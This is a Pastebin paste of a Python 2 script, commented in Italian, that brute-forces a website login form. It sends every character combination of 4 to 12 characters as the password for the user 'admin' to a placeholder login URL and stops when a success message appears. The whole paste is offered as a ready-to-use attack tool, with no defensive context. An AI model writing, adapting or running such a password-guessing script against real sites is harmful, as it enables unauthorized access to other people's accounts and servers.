Advertisement
Xx_buckler_xX

Untitled

Jun 7th, 2016
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1. # Importo la libreria che ci serve per la connessione http
  2. import urllib
  3. # Username di cui si vuole scoprire la password
  4. username = "admin"
  5. # Pagina di action a cui rimanda il form di login
  6. paginaLogin = "http://www.miosito.it/login.php"
  7. # Messaggio di avvenuto login
  8. messaggioDiAvvenutoLogin = "Login effettuato!"
  9. # Lista dei caratteri possibili in una password.
  10. listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
  11. # Funzione che verifica se la password passata come parametro
  12. # e' quella corretta e di conseguenza e' stata indovinata.
  13.  
  14.  
  15. def testaPassword(password):
  16. print "Testando la password:", password
  17. # Invio i parametri da testare alla pagina di action (paginaLogin)
  18. parametriDaTestare = {"username": username, "password": password, "submit": "1"}
  19. p = urllib.urlencode(parametriDaTestare)
  20. paginaDiAction = urllib.urlopen(paginaLogin, p)
  21. # Memorizzo la risposta della pagina di action nella variabile risultato
  22. risultato = paginaDiAction.read()
  23. # Controllo se la password e' corretta
  24. if messaggioDiAvvenutoLogin in risultato:
  25. print "Password trovata: ", password
  26. exit()
  27. else:
  28. return
  29. # Qui bisogna supporre una lunghezza massima della password,
  30. # ipotizziamo 12 caratteri.
  31. # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
  32. # da 4 caratteri in poi verra' testata la password (attraverso
  33. # la funzione testaPassword).
  34. for c1 in listaCaratteri:
  35. for c2 in listaCaratteri:
  36. for c3 in listaCaratteri:
  37. for c4 in listaCaratteri:
  38. psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri correnti ovvero c1, c2, c3, c4
  39. testaPassword(psw)
  40. for c5 in listaCaratteri:
  41. psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai
  42. # caratteri correntiovvero c1, c2, c3, c4
  43. testaPassword(psw)
  44. for c6 in listaCaratteri:
  45. psw = c1+c2+c3+c4+c5+c6
  46. testaPassword(psw)
  47. for c7 in listaCaratteri:
  48. psw = c1+c2+c3+c4+c5+c6+c7
  49. testaPassword(psw)
  50. for c8 in listaCaratteri:
  51. psw = c1+c2+c3+c4+c5+c6+c7+c8
  52. testaPassword(psw)
  53. for c9 in listaCaratteri:
  54. psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
  55. testaPassword(psw)
  56. for c10 in listaCaratteri:
  57. psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
  58. testaPassword(psw)
  59. for c11 in listaCaratteri:
  60. psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
  61. testaPassword(psw)
  62. for c12 in listaCaratteri:
  63. psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
  64. testaPassword(psw)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement